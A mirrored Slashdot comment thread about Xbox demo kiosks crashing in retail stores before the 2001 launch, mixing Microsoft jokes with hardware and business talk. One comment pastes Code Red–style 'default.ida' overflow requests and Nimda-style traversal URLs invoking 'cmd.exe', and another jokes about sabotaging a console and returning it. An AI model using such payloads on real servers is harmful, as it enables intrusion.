Slashdot Mirror
Crashing Xbox Kiosks
quannump writes "Gaming Age has an article up about some stores, including Toys R Us and Babbages, Xbox kiosk crashing at various places across the country. "Out of five stores that have playable demos within a ten mile area, only two have working units," says one Babbage's employee." It's funny because it's Microsoft. Get it? It's... oh never mind. Is DOA3 still planned as x-box only?
Wow! I've never seen *this* level before!
I must have fallen into some opaque blue liquid.
I hope I can swim to the top before I drown...
Why is it so hot? Where am I going? What am I doing in this handbasket?
I was playing one at Software Etc on Saturday.
It was some car driving game. I played for about 5 minutes when I tried to restart the race. The box locked up solid.
Now I know it was probally getting abused but I dont't think that it should have done that.
And actually I wasn't that impressed by the graphics. I think my Tbird 1.4 with my Gforce 3 is much better
"You know why you do not see me styling wit my homies? Because I have no homies!!" -Mojo Jojo
I'm glad Microsoft has finally brought some "innovation" to the console world. They are only providing a feature that customers want!
Winter 2010: With Glowing Hearts
Putting them inside those enclosures probably isn't the best place for heat dissipation. I know if I put my PC in something like that it wouldn't last long.
It damn well better come out for the mac sometime in the near future...
---If you can't trust a nerd, who can you trust?
I played the demo box at target. There were like 9 different demos that were just presentations, but there was at least one (the topmost option) that you could actually play... you had to run around and gather coins basically. It wasn't much of a game, being just a demo, but the controls were good and the graphics were cool. As long as the Xbox doesn't get a reputation for blue screen of deathing all the time.... i might consider buying one.
I say if the X-box is crashing this much it's pretty much DOA already.
--hongpong.com
Sony to expand Linux for PlayStation 2
Now I know which console I'll be getting this holiday season! :-)
299,792,458 m/s...not just a good idea, its the law!
Galileo: "The Earth revolves around the Sun!"
Score: -1 100% Flamebait
. . .before every one of these is diabled by some local twit?
Don't know if it's authentic though
Microsoft confirmed a version of DOA3 will be released for the Playstation 2 at some point in the future. Probably a few months off.
I'll bet that someone at Microsoft read the article where someone proposed using the Xbox as a web server, running standalone Apache.
This would be their method of nipping those plans in the bud.
Even though it's not meant as a beta test, this seems is a good way to test Xbox. Microsoft is receiving hundreds of bug reports before release. And it's a demanding test, being on for hours at a time.
It's like a beta test, except the product is supposedly final.
If I weren't nailed to the penis, I'd be pushing up the daisies!
Better the Xbox kiosk than a bank machine (I'm sure you've all seen the pictures)... or airport arrival/departure screens... or on ad billboards... or...
---
Programming is like sex... Make one mistake and support it the rest of your life.
As far as DOA goes, yeah, I think the X-Box is DOA.
If they ship buggy hardware boxes, no wonder their OSs have holes bigger than you can stuff unsold XP boxes into...
It's just a BloJJ
Yes. But thank the gods, Soul Calibur 2 is NOT!
"Mod, mod, mod...and another troll bites the dust."
A good friend of mine once said that if MS's development track record held up, that the X-Box would be a flop. To paraphrase, he said: "People don't expect their console to crash. If it does, they'll return it."
Now I know the PS2 had some backward-compatibility problems, but other than that, has it been rock-solid? I know I've never had so much as a hiccup from my Dreamcast.
My sigs always suck.
The reason the audio has popps and clicks was because it was ripped from a copy-protected CD?
Free unix account: freeshell.org
Taking out the Demo and blowing on it? Then they need to blow into the box itself before putting the demo back in. Then ya gotta hold down the reset button and sorta *tap tap tap* on the game, and it'll come on if you've got the "touch".
oh, wait. What? Oh, XBox. Right.
what the hell is a 'junk character', anyway?
This topic has been done many times everywhere, but I figure i'd bring it up.... who think it's going to be the ps2 killer?
Personally, i own a ps2 and i'm afraid. MS may bring out crappy products but historically their crappy products come with good brainwashing type of marketing that usually kills competition. I hope there will be an X-box emulator for my PS2 (unfortunately).
"Out of five stores that have playable demos within a ten mile area, only two have working units," says the employee.
Well... (sigh) Ah... (geez)
"An Xbox unit in the Germantown, MD Target store is reported to have "freezing" problems that requires employees to open the kiosk every 75 minutes to reset the console.
Do i need to say anything??? @#"#"$@e$"!!!!!!!!!
Unlike a console, the X-Box is a PC. It uses a PC processor, and a PC graphics chip. These are obviously considerably more advanced than anything in a console, and are therefore more likely to go wrong. Its one of the prices to pay for being on the bleeding edge.
Fortunately there is a solution. Simply wait a few months. You will be able to download patches from the internet. The built in hard drive will allow these patches to work.
The only reamining question is how long until we het Linux for it?
Soon after, a screen appeared that said the Xbox needed customer service repair. The screen provided a list of customer service phone numbers to contact.
I wonder if they're charing $200 per incident?
This could be their very own Newton.
Better yet, their very own Jaguar 64. (Or possible 32X?)
Out of the 20 gamers I know, about 19 of them are unwilling to purchase XBox simply because of Microsoft's good name.
While the OS on other game consoles ends up crashing occasionally too (in spite of the almost complete lack of a visible OS) they'd believe anything about the Microsoft one crashing anyway, without needing a demonstration.
Its almost a shame these people don't take their expectations of one complex computer system and attach them to another, like, say, a desktop.
"Look at me, I invented the stove!" -- Ben Franklin
Hmm, perhaps they have not completed the required product activation ala WinXP :)
Winter 2010: With Glowing Hearts
Oddworld 3, "Munch's Oddysee" is also only coming out for the X box. Thanks microsoft. Buy up the good game companies and FORCE THEIR HANDS in the gaming market. I refuse to buy an X box for ONE game. But Microsoft is BANKING on this.
...assholes...
You seem to be under the impression I had something to do with my own score. You may want to try therapy.
>layable demos within a ten mile area, only two have working units,"
>ays one Babbage's employee." It's funny because it's Microsoft. Get
>t? It's... oh never mind. Is DOA3 still planned as x-box only?
so far, DOA3 is only available at 3 of the 5 stores in the local area. After an hour or two, though, it's likely that DOA4 will arrive, with DOA5 applying by the end of the day . . .
:)
hawk
Being a long time gamer and a fervent computer user, I came to a decision about a month and a half ago.
I'm no longer going to use microsoft products in my home. My girlfriends computer is going to get a fresh install of Redhat in about two weeks and that should be the last of it.
The only shortfall to the whole thing has been the lack of mmog's to play under linux. I figure this will take a little time, but it'll get there eventually (most likely in the form of a game / games that play on all platforms..)
I went and bought a ps2 this summer, and some of the games coming out right now, Ico (SCEA) and Devil May Cry are absolutely stunning single player games. It will be interesting to see what happens when the net adapter and hard disk come out for the ps2, but in the meantime, based on principle I've made a few smaller decisions.
I won't be installing explorer 6.x+ ever (even at work), and I won't be buying an Xbox. Some of the stuff that Microsoft is doing with their licensing practices, as well as the shoddy quality of all their products since they were born just don't warrant rewards.
Then again, I'll most likely be one of those parents that spanks their kids as a disciplinary action as well, so maybe that just makes me a great big asshole.
Nobody should be siding with microsoft in any of their endeavors, I wonder why nobody is standing up and saying anything like this, now that MS is reaching into the gaming arena.
Still, it's rather humorous that some of the demo systems don't work, and people will still run out and buy them like lemmings.
-mh
Microsoft's version of sprituality:
"Double-click the lifestone to attune your spirit to the lifestone"
It may be XBox only for now, but considering DOA2, I expect that we'll be seeing DOA3 on PS2 and maybe Gamecube down the road.
(btw, why was this parent marked as 'funny'?)
Newer game consoles are shipping with heatsinks and fans, items which weren't needed in previous generations of game systems. What's scary is that this is even though Sega and Sony have intentionally done things to keep power consumption down, like using lower power CPUs like the SH4 and MIPS and keeping the amount of memory reasonable.
Microsoft is putting in a hot running CPU that was never designed for embedded systems use and twice the memory of the PS2. Sure, that makes it more powerful in a way, but it also may be over the line in terms of what you can do inside of a sealed consumer box. Remember, "more powerful" has never been the mantra of embedded systems engineers, but "cool running" and "rock solid reliable" are.
...bets on how much money Microsoft will lose on the XBox? This could be their very own Newton.
Let's do some rough maths. MS allegedly has around $20 billion in cash reserves (that's cash, not stocks) plus or minus. Let's say each X-Box costs around $400 to manufacture.
Now, 20,000,000,000 / 400 = 50,000,000.
This means that they should be able to give nearly every household in America at least one machine.
Heck! They should just give everyone $400 in cash!
My spoon is too big.
there is a rumor that the main driving force behind xbox ad campain will be the song I Will Crash On You
Did it give a big BSOD? Or did it just lock up?
Think of everyone oogling the fancy graphics and a nice bluescreen comes up, and everybody thinks its a joke, but it isn't.
This brings me to an unrelated point. Nintendo actually spent money on me. They sent me promotional material. It was an envelope shaped like a gamecube with a minicd in it that was basically a big web page. It included info about their upcoming games as well as wallpapers and videos. Pretty neat.
Well, .
Mike
In MSoftian:
"R&D" means "we just saw someone else demoing something neat."
"Alpha" means "here's the Director mockup running on a Mac."
"Beta" means "well, we got it working, sorta."
"Golden Master" means "hey, it runs, if we leave out some features."
"Release" means "ready for the newest Nimda variant to run on it!"
My favorite Microsoft games are Minesweeper and Regedit.
Over at the Sony Playstation store, everything works all the time. (Most of the PS2 games suck, but that's a separate problem.)
The XBox runs a cut-down version of Win2K, which supports one multi-threaded application at a time, running in kernel mode. It may have been a mistake, to use the architecture of a desktop OS without the protection.
Hey, watch it!
I know you didn't have anything to do with your score. The question was to the moderators - not the poster (you.)
Maybe the X in X box really stands for MSX.
I have a feeling (due to the economy, et al) that MS may be looking at MSX part deux, except this time they're on the hook for the hardware as well. Even if the X-box is successful its gonna hit MS's bottom line for a year or so (to the tune of a billion or so). Add "reliability" problems to it and you can kiss it goodbye.
I wonder if after the christmas season it is not living up to expectation how long until MS kill it. It ain't cheap (subsidising each machine.. ask Sega), and the stench of death over a console machine is damn near impossible to overcome (even if you iron out bugs in the next batch of machines). Its not like its software and you can issue patches owners can download.
*IF* (and its a big if) this is a sign of things to come for the X-box (and I'll give MS the benifit of the doubt and say it isn't) could cost a LOT of money.
"Crashing Xbox Kiosks"...
I thought that the headline meant the story was going to give us instructions on how to crash xboxen...
...but I suppose it would make for a pretty short article, looking something like this:
1) show up.
2) watch xbox crash
GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNN
N NN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucb d3%u7801%u9090%u6858%ucbd3%
% u5 3ff%u0078%u0000%u00=a
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+d ir
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir
/scripts/root.exe?/c+dir
/MSADC/root.exe?/c+dir
/c/winnt/system32/cmd.exe?/c+dir
/d/winnt/system32/cmd.exe?/c+dir
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir
/_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir
/_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c 1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
(emphasis mine)
I'd like to see this confirmed first. However whichever way you look at it, it is pretty damn silly to have either a beta box or a buggy game running in shops.
I don't think it would be unfair to suggest that the one that does finally go into retail won't be as bad as this.
Avantslash - View Slashdot cleanly on your mobile phone.
Did MS design the XBox's hardware? A bug in software is easily fixed with a patch, but what do they do when they find out the hardware is flawed? Or is there some process to eliminate hardware bugs before they wreak havoc? (I seem to remember one of Intels chips getting to market with bugs)
I was afraid to look at it because it was probably a EULA that would legally bind me to buy XBox games exclusively, and turn in all my Playstation games to the console Police (or something like that).
Demo kiosk units for modern game consoles usually have these problems, especially prerelease systems that use early hardware revisions. The crashing usually results from overheating caused by the machines running 24/7, in small enclosures with poor, if any ventilation. I have seen plenty of the old Dreamcast display units hung up and crashing to a black screen with a little text. It might also be due to the early software revisions in the machines.
Of course, anyone who had an old NES should remember that many of the system's games were very crash prone. I cannot begin to describe how many time I saw Teenage Mutant Ninja Turtles crash, to the point that I knew what areas to walk away from when parts of the screen would become distorted...
I'd personally like to assign a -2 penalty on any comment rated 'funny' because most of them frankly just aren't funny at all.
It's funny because it's Microsoft.
And people wonder why I always have to spell the name of the town I live in.
Anyway, Microsofts poor software has kept me employed for 5 years, and this is just reinforces that belief.
Matt
--
Interpret the BSOD - Coming soon to video game stores near you!
Publisher: Microsoft 2001
Retail: $79.95/year license
EULA: You agree to the terms inside the package by opening the package.
The man who trades freedom for security does not deserve nor will he ever receive either. - Benjamin Franklin
If it's hanging/BSODing now, do you REALLY think anyone's going to buy off on it? (At least the demo units for the PS2 work well...) Yes, those are neato games, but there's always other companies out there willing to fill that void MS is making right now.
I am not merely a "consumer" or a "taxpayer". I am a Citizen of the State of Texas
Microsoft couldn't make a decent product to save their lives.
But don't sweat, go ahead and buy an XBox. Next year MS will sell you the fix...er upgrade.
But seriosly. MS's buisness model is based on the idea of continuous upgrade (fixes), to poorly designed products (that may be a bit of a stretch, but not a big one). However the machines themselves are loss leaders for MS. How can they make money by selling an inferior piece of equipment, and it's fix/upgrade. If ever time the user buys one it costs MS money??
I would rather be ashes than dust!
$5 / month hosted VPS on linux = awesome!
Is crashing the X-Box considered a act of gaming terrorism
..that they would have made sure this couldn't happen.. I mean after all, as opposed to boxes standing in peoples homes, they knew _EXACTLY_ what these demo boxes would be doing.. And it should be pretty limited too.. Maybe a self-running demo.. And the possibility to try one game or so.. How hard can it be to test this for a copla days before sending it out to demo??
Love over Gold.
Perhaps they'll release DOA3 on X-box first, but maybe it will be a special edition - DOA -> dead on arrival
Here goes some precious karma
"Out of five stores that have playable demos within a ten mile area, only two have working units," says one Babbage's employee
That article describes 5 stores out of THE ENTIRE COUNTRY that have technical problems.
Think we are jumping the gun? Maybe its under super-scrutiny cause its microsoft, and people are taking advantage.
And the above quote (which will probably get that babbage's employee fired), is most likely an anti-MS/Linux Zealot out for blood against the X-Box. I don't see it very believable.
Lets wait for a few days AFTER they release the X-Box to kill it, k?
Good quote, too many chars. Seriously, the slashdot 120 char limit sucks!
If that doesn't work try;
http://www.evilavatar.com/EA/News/M34018/6983.jpg
The surprise isn't how often we make bad choices; the surprise is how seldom they defeat us.
If there is someone who knows how to write software it's Microsoft. (get it?)
Can someone post the article so that I can read it? Darn Websense filtering at work....
Random Musings
If the XBox dosen't work we won't buy them
Only the first few will and they'll report how flaky they are.
If Microsoft pulls monopolistic moves and pushes the other game consoles off the market will we be compelled to buy X Box?
No..
Productivity tools are a need. It dosen't matter if the program crashes or dosen't work 90% of the time.. It's needed.
But on a game console.. thats a diffrent story.
Some people have jobs that suck most of the time. They do them anyway. They have to pay rent...
But nobody has a hobby that sucks most of the time. At least to them anyway.
If X Box isn't 100% great it's dead....
If Microsoft monopolises the market and crams the X Box the market dies with the X Box.
There is only one standard.. It must be fun.. if it's no fun it's dead...
I don't actually exist.
It was like the "special ed" version of "Centipede"...
On a 120Mb hard drive at +80% capacity, a single game could take 5 or six hours!
"Flyin' in just a sweet place,
Never been known to fail..."
A metric ton of money I'd say. Of course this has been the plan all along. Lose 5 billion over the course of 4 years before the division is profitable, then it'll make them a mint. That's why the xbox will likely succeed (not necessarily dominate but probably not fail). MSFT can afford to bleed money on something they think will eventually make them money.
Ad in classifieds: Pandora's Box (no box) $5
I can wait for the release on the Mac/PC. If I buy a console it will be a GameCube as the sort of games that come out on that platform don't generally come out on the PC. The XBox on the other hand will probably be compared most to a PC than a console, especially since I have a feeling that the games will be of similar quality. Of course time will be the ultimate judge and I will find out after 6 months of the XBox being on the shelf whether my current judgment is fair.
Jumpstart the tartan drive.
It's probably just that the Xboxen are crashing every hour or two and it's a lot easier (and less embarassing) for the staff of the shops to put up out of order signs, than to explain why the Xbox crashes when the other consoles don't.
Actually it's not that unusual for pre-release software to crash on consoles( I am a console games programmer) but time is running out for them to reach stability, seeing as the gold disks should be going to master now for a mid-november release.
"Free software as in beer, copy protection as in racket" - Telsa Gwynne
Wow... Another winner from the dope smokers in the MS-beta testing dept.
Maybe the Xbox needs to be registered a-la-XP
before it'll work.
According to the Tecmo website it says "Dead or Alive 3 it the latest installment in the popular fighting series from Tecmo, and is headed exclusively for Xbox November 15, 2001"
The Quote
Web Site
DOA means Dead On Arrival, right?
It's not the crashing that I find so interesting, I mean it would be beating a dead horse to accuse Microsoft of releasing things that don't always operate as expected. What I think is strange is the lack of Microsoft branding in the promotional kiosks and posters I've seen. Taco Bell is running this huge promotion for the Xbox and there is no mention of Microsoft anywhere on the signage. I've seen a simmilar lack of the ubiquitous microsoft logo on the few kiosks displaying Xbox games and systems that I've seen. Given that I can't boot up Windows without seeing the Microsoft logo 10 times, this seems a little odd. Is it perhaps because we expect things like video game consoles not to crash? Are they trying to distance their reputation for blue screens and error messages from their entry into the console market? Ever remember rebooting your SNES because it just stopped working? Ever had to upgrade your Playstation because of buggy code? Me neither.
~raum
...that Microsoft stays out of the medical electronics industry. BSOD to the extreme.
Ahh, those were the days.. We didn't just EXPECT our video games to work, if you wanted to play Punch out you had to EARN it! And if you didn't have the touch, well, you were still entertained by that flashing red light on the console! We didn't need 3D, we had a flashing red light! You kids have it easy.
History tells us that we should wait for version 3.0 before buying a Microsoft product. Consider this their "alpha" release (1.0). Wait several years for their "beta" release (2.0), and a few more for their 3.0 release. Then consider buying.
$400 to manufacture when they sell at $299? Maybe I need to go back to school to get my MBA to understand that one.
The X-Box might still be a flop, but not because of stability. The first batch of PSXs was notoriously unstable (anyone remember having to flip the stupid things *upside-down* in order to keep them from freezing during cutscenes?) and older cart-based systems were prone to lockups as they collected more dirt - but people bought them just the same.
In this case, heat is the likely culprit; there simply isn't that much to go wrong just running a demo screen.
As for the market in general, consoles aren't a good way to make a lot of money. Even if the X-Box is a success, Microsoft will lose a ton subsidizing the hardware. And even if the X-Box becomes the dominant gaming console, it's unlikely that dominance will stay around for long since the business changes so rapidly.
Ita erat quando hic adveni.
OK, we will have to update BSOD , for the new crashing screens :)
"We all know Linux is great...it does infinite loops in 5 seconds." -- Linus
An Xbox unit in the Germantown, MD Target store is reported to have "freezing" problems that requires employees to open the kiosk every 75 minutes to reset the console.
This harkens back to the days of Win98.
I'm guessing the Xbox OS has no keyboard or command prompt, so there goes the fun...*sigh*
db
Cig:
ôô
Please, can you provide a reference to this!!!
I swear by MacOS X. Although I use to swear *at* MacOS 9...
I can recall LOTS of cases where I've seen kiosks for other game consoles "down and out" so to speak. It's a pretty common occurence, really.
You have to think about the fact that these units sometimes have to put up with a lot of abuse when on public display. Yes, they're oftentimes enclosed in plexiglass and such, but that's not total protection.
On the other hand, I do know that these boxes run a good deal hotter than your average console, owing to increased "power". Taking that into account, a nice tight protective enclosure might not be such a great idea (I wouldn't try sealing my box up in a tight space and running it 24x7 either).
Of course, on the *really* personal opinion side of this, I think Microsoft has probably goofed when it comes to designing this thing to really last. It's overjuiced in my opinion, runs entirely too hot (and might be too fragile too) for constant use and bumping "by the kids" (hey, I'm a big kid, all that about more expensive toys, yada yada yada).
Man, just when I thought my little bubble world could be Microsoft free... I've already ditched the software side of things
Just some thoughts, nothing more.
Ok... Lets assume you don't like Microsoft. Now buy an X-Box and take it to your local True-Value and ask the paint guy to stick the X-Box in the vibrating/shaking-paint-mixer-thing. The X-Box will now have a ruined hard-drive. Return the X-Box and repeat untill you see Bill Gates bumming quarters for sex in your local slum.
Moneyed corporations, non-working 'poor' and criminal prisoners are turning productive citizens into tax-slaves.
Game systems are often sold at a loss. The games themselves are what the companies make money on. The notable exception is Nintendo, who has of yet to sell a system at a loss.
... meanwhile after playing Xenogears II for 3 days and just about ready to deliver the final blow to the big boss...
"XBOX has performed an illegal operation error at 0000:0001 EAX=BADD EIX=BADD..."
... then while loading the game from the memory [after the crash]...
"Unable to load saved data, XBOX was not shut down properly, now performing a full memory card scan..."
...
"XBOX is unable to complete this operation. Memory card not a valid FAT32 partition."
Time to start over again...
Doh!!!!
Thanks,
Me
Just one more reason to go and get the Best gaming system ever Nintendo GameCube.
I was eating lunch near a GameStop (or something like that) today and when I went in to pre-order Tony Hawk 3, there was an XBOX demo. I *had* to stop and see just how big it is. About the size of a smallish VCR, I'd say. First thing I do is hit the reset button so I can watch it boot. Nothing. The screen cleared and nothing more came up. I'd call that a crash, but it kinda sounds like a hardware issue. The salesguy there said every time someone resets the thing he has to either power it off or play with the reset switch until it comes back. Maybe it's just a problem with the enclosures? A few other stores near by had XBOX displays that reset just fine... I have to say that the controller doesn't seem bad, though. A few sharp edges, but it otherwise fits adult hands nicely. I don't know about kids, though. They might have a problem with it.
This is not an issue where "Microsoft is evil, let's make fun of them." This is a matter of public perception. Historically, they have made unstable operating systems. It doesn't take a "Linux Zealot" to disparage Microsoft products. It takes a track record of stability (insert favorite link to stable OS, be it BSD, Linux, Win2K etc. here) to change public perception.
I was wondering about that porting . . but then I realized that the best games I play are all PC because of the sheer complexity of the control system. You can't control Tribes 1 or 2 with only ~12 buttons. That is just impracticle. There are other games whos names escape me (possbly Rainbow Six type games) that also have the need for a large number of accessible keys.
So for me, all the games I like to play will only released for the PC. Besides that, I don't need a $500 piece of hardware sitting around that I can't use for something besides just playing. I gotta compile my C somewhere and it might as well be my fast gaming system)
robi
I remember when the Dreamcast was launched, there was a big hoo-ha about it. I went down to my local electronics shop, and, there it was, a Dreamcast display, hailing it as the most advanced console ever.
Only trouble was, it was running Windows CE, and there was a big, bright, Blue Screen of Death on the TV in the middle of the display. I didn't tell any of the staff.
The crashing usually results from overheating caused by the machines running 24/7, in small enclosures with poor, if any ventilation.
How is that stressful? That sounds like the conditions the box is likely to see in a typical dorm room.
The PS2 isn't the most reliable console.. in addition to DVD and PSX problems you mentioned, my PS2 decided to stop reading CDs a few months after the warranty ended (90 days? ack!). DVDs work fine, but most PS2 games are on CD which sucks. I had to open up the console and adjust a little potentiometer.. I guess it ups the laser power. it works great now, but I'm sure the laser is slowly burning holes through my discs. Consumers shouldn't have to choose between
A. Paying $300 for a defective console, and then paying $120 more for the privilege of mailing it to Sony for repair
and
B. Opening up the console and tinkering around inside
The people who develop for the X-Box will mainly be PC companies. These companies are new to the console market, when the game need to be ready when it comes out. No "ooops, sorry, here is the patch" are allowed!
Note that this is true for Microsoft as well...
I just think that the X-Box has not got the infrastructure to support this kind of working. PC users are used to Windows crashing and hanging, I am not so sure about console players!I for one, don't believe the X-Box will be the big success every one expects. It might be the fastest on the paper, but I still think the PS2 and Sony are going to eat X-Box and Microsoft alive in the console market!
I believe a gaming console is closer to a TV or VCR than to a PC, so I believe that Microsoft is going to fail in this new market!
Let's see what the situation is in one year!
Black holes occur when God divides by zero.
Help! I can't find a fast server to download XBox SP1 anywhere! My XBox crashes constantly, has the Nimba virus, and keeps asking me if I want it to be my "... default console gaming device?".
Let me know if you have any advice.
If Slashdot is where the spelling-challenged go when they die, I'm in heaven.
If early generation games crash, Microsoft will have a perception problem regardless of who is at fault. The bar is set higher for entry machines these days. PlayStation and PlayStation II were not prone to crashing.
As someone already mentioned, comparing a kiosk that runs the early version of the console 24/7 in a poorly ventilated environment is different from comparing the final consumer product being used in regular conditions. As for Playstation II's not crashing, you must have a very short memory. I seem to remember headlines like PS2 glitches likely to drag down Sony's earnings , Sony finds glitches in three PS2 games and more when they first came out and look how successful PS2 is now.
I say, the jury is out until the holiday season is over before we can tell if X-Box will be a success or failure.
...but really, does this *actually* surprise anyone here? Personally, I have no intentions of blowing 300 bucks on another version of MSTrash. Besides, it will only be a matter of time before someone ports it and creates a LINUX based product...
GNUBox!
Am I Over-Moderating??
Even with a worst case scenario that the XBOX blows and we get good, cheap, small form factor boxes out of most PC vendors.
"God fights on the side with the best artillery." - Napoleon, Marshal of France - speaking truth to power
Parental Warning: fully disrobed polygonal behind rendered and animated.
This will be XBOX's first killer app.
'He was a dreamer, a thinker, a speculative philosopher... or, as his wife would have it, an idiot.' - Douglas Adams
http://www.penny-arcade.com/xboxfiles.php3
Hilight:
A friend of mine (which we will call "Dave" to keep his real name anonymous) works there and was assigned to the XBOX project a month ago. (shocking!) Now you may imagine it must been a really busy month building and testing XBOXes and stuff but.. can you handle the truth? can you?!
According to Dave he has spent the last month doing.. (dramatic pause!) absolutely nothing. As a matter of fact he has been lingering around watching videos on the net and trying to appear to be busy. Why? because they didnt have anything to build! the xbox design finally went into production last SUNDAY! (september 23 2001) (truly shocking!!)
Now what happens if you start production on Sunday on a Mexican factory ? (dramatic pause allowing you to answer) NOBODY is there to do it! only those who are unlucky enough to be there doing extra time, (like poor old Dave was) But they were ORDERED to do it anyway. No QA guys, no big bosses nothing, just a bunch of employees, trying to build a machine for the first time ever! (shocking, er, shocking!)
As you may have guessed things didnt went very smooth, as a matter of fact they didnt go very smooth at all! lots of machines were so defective they didnt pass the normal standards and went back to the line again, Dave and his friend expent hours after hours trying to build the damn boxes but they still were defective, to make a large awful history short they only were able to build 10 Xboxes that day! 10! and those XBOXES who did make it only passed standard tests! no other testing was applied!
I'll keep it in mind if I ever decide to try trolling. Personally (and obviously I am biased here), I think that much of the rest of the comment was far too reasonable and moderate to be a successfull troll. Just my opinion.
Microsoft's XBox was one of the main reasons I went to E3, and I was sorely dissapointed. I played HALO for about 30 sec before the XBox crashed. Locked up hard. A bit disconcerted, I moved over to Oddworld, picked up the controller, and bam!. Blue Screen of Death. The poor marketing guy kept saying that we were all playing on some alpha hardware, and that all of these kinks would be worked out by Ship Date.
I'm usually the guy that runs out and buys new consoles the second they come out, but this time I think I'll wait until they put a couple of Service Packs out.
--
mando
A good picture of an Xbox crash:
http://mosfet.cjb.net/images/xbox.jpg
It's a GAMING console!!! I've NEVER had my original Sega crash. Or my Sega Genesis, or my N64, or my Sony Playstation, or my Sony Playstation 2 for that matter. Hell, Atari was kick ass too! The original Sega machine came with a cool hidden game as well. Them were the days. Now, I get to be smoking some fool in an X-box game, and BAM! The B.S.of.D. HA! So, yes, I'll take a shit on Microsoft, and then I'll clean up using an EULA document from them.
Is X-box going to be the 1st console to have downloadable software patches for its games?
Brining the sell now, fix later attitude of the PC world to the console world. (albeit, the PC world needs it due to the limitless hardware configurations consumers might have.)
Yep, DOA3 is still planned for X-Box only..er..wait you do mean "Dead On Arrival" right? ;D
"My days are less enjoyable because of people." ~ Johnny the Homicidal Maniac
See, I always said have patience and wait for the GameCube, it will be well worth it. I hear they're giving the Xbox out at Taco Bell though... yet another high quality product there...
I wonder if they're going to show the blue screen of death on their promotional commercials?
~ now you know
Personally, I've always been partial to FDISK. That has got to be the hardest game I've ever played. I keep having to start over! Anyone know any good cheat codes?
I'm thinking it wouldn't be long, since they are basically writing to a pc. Someone clever did that N64 -> Glide thing a few years ago, so it would only follow that this would be easier. Bleem also seemed like a stretch, but it seemed to function well in most circumstances.
Is there something I'm missing here?
Obviously? Well, it's behaving like other Microsoft final products.
No. No. No.
You PC simply will not play XBox games. The XBox runs its own OS (based on very stripped down version Win2k, but it's not backwards compatible with any other OS) Your PC will play ports of XBox games if and when developers decide to port games; just like your PC will play ports of Playstation games and Nintendo games.
Additionally, MS does not need to sell 32 games per unit. On average, Sony & Nintendo (and MS will pressumably will follow suit) get about US$10 per game in licensing profit for each copy of a game sold. If we assume that MS is loosing about US$100 per XBox sold, they only need to sell 10 games per unit. BUT, that's still not the whole picture. MS will make additional profit on each DVD controller and periphiral it sells. Additionally, as the technology ages its cost of manufacturing goes down faster than the price of the console; so in two years an XBox may cost US$200 to buy, but it may only cost only US$100 to manufacture; eventually hardware manufactures can make money just selling the console and won't need to worry about the number of games sold per unit. Unless the XBox is a total washout, MS is not likely to take a bath on this.
This is the first time a console has been launched in America first for quite some time. Usually the majority of the kinks are worked out when systems ship in Japan first and later in the US. We're experiencing virtual "beta hardware" testing firsthand with Xbox.
Second, there have been tons of reports of Xbox kiosks failing. Not just on GA. I've been reading a lot in the news and on many forums that Xbox kiosk failures are happening very frequently, far more than any PS2 failures. I have yet to hear about a single GameCube failure since it launched in Japan, too.
DOA3 has been reported to be heading to PS2 in the Official Playstation Magazine, along with a lot of Sega games that will merely premier on the Xbox.
Also, to clear something up, DOA3 does not look as good as Tecmo would want everyone to believe. Tecmo has a bad habit of releasing ultra high-res screens captured from developer kits (we're talking near 2000x pixel resolutions). They released beautiful but fake screenshots of DOA2: Hardcore on PS2 with tons of antialiasing. Then when you actually play DOA2 you'll find it's a jagged, shimmering mess. Sad to see that people are falling for the same trick again with DOA3.
Example:
Tecmo provided screenshot of DOA2:HC:
Touched up screen of DOA2
What DOA2 really looks like:
Real screenshot of DOA2
As you can see from these screenshots and movies not supplied by the overseers at Tecmo, the game doesn't really look that much different from DOA2.
Movie of DOA3
Screenshots of DOA3
Not to mention the DOA series' gameplay is very shallow and caters to button mashing, not nearly as deep as Tekken and Virtua Fighter. From the reports it sounds like DOA3 is a carbon copy of DOA2 with prettier graphics. Odd that the DOA series has suddenly become big-game despite lackluster sales on PS2/DC... Maybe because it's on Xbox, because if DOA3 were on PS2 it would be overshadowed by Tekken 4, Virtua Fighter 4 and Soul Calibur 2?
I'd say hold off on an Xbox until they work the kinks out and better games come out for it. The Dreamcast is dead but you can grab one for a very low price. The PS2 is the best platform for gaming now, there are so many good games out and coming out next month that my wallet is going to be screaming for mercy. GameCube looks solid but not quite as solid as the PS2. Wait and see if you are still uncertain.
Men believe what they want. - Caesar
The N64 is easy to crash...
For instance in Golden Eye, in two player mode (and possibly one) put a timed mine on glass. Shoot the glass until it breaks, then shoot the mine. It is a good move when you are losing!
There are a bunch of other ways to crash it also...
$400 to manufacture when they sell at $299?
Ever hear "give away the razor, sell the blades"?
Selling gaming platforms at a loss, and making it up on game royalties is fairly standard practice. People don't like to part with that big a chunk of money, and they generally don't seem inclined to compare game prices very carefully in advance.
I mean, you see 2 consoles for sale, one for $500, one for $300. You see that the first has games in the price range $40-$80, and the second $55-$95. Which do you buy? That $200 right now weighs in a lot more with most people than the $15/game, even if you end up getting 30 games.
Gaming Age has a response from Microsoft about the broken XBox units.. Here's the scoop:
A Microsoft representative has responded to yesterday's FiXbox story. Here's the official company line on in-store Xbox units.
"With over 10,000 playable Xbox kiosks at retail over a month before launch, there are bound to be a few issues that crop up. Microsoft representatives are currently following up with retailers across the country to insure proper functionality of kiosks. Overall, the displays are working great and we are on track to achieve our goal of having 100% of the Xbox interactive displays working correctly and demonstrating the Xbox difference."
